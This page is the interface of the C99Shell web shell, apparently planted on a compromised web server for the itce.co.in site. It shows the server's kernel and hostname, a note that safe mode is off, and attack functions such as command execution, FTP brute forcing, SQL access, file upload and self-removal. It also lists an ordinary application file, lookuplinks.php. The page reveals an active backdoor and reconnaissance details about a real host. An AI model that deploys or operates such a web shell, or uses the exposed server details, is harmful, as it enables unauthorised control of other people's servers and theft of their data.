!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/include/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     lookuplinks.php (1.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
* getLookupMainTableSettings - tests whether the lookup link exists between the tables
*
*  returns array with ProjectSettings class for main table if the link exists in project settings.
*  returns NULL otherwise
*/
function getLookupMainTableSettings($lookupTable$mainTableShortName$mainField$desiredPage "")
{
    global 
$lookupTableLinks;
    if(!isset(
$lookupTableLinks[$lookupTable]))
        return 
null;
    if(!isset(
$lookupTableLinks[$lookupTable][$mainTableShortName.".".$mainField]))
        return 
null;
    
$arr = &$lookupTableLinks[$lookupTable][$mainTableShortName.".".$mainField];
    
$effectivePage $desiredPage;
    if(!isset(
$arr[$effectivePage]))
    {
        
$effectivePage PAGE_EDIT;
        if(!isset(
$arr[$effectivePage]))
        {
            if(
$desiredPage == "" && count($arr))
            {
                
$effectivePage $arr[0];
            }
            else
                return 
null;
        }
    }
    return new 
ProjectSettings($arr[$effectivePage]["table"], $effectivePage);
}

/** 
* $lookupTableLinks array stores all lookup links between tables in the project
*/
function InitLookupLinks()
{
    global 
$lookupTableLinks;

    
$lookupTableLinks = array();

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0018 ]--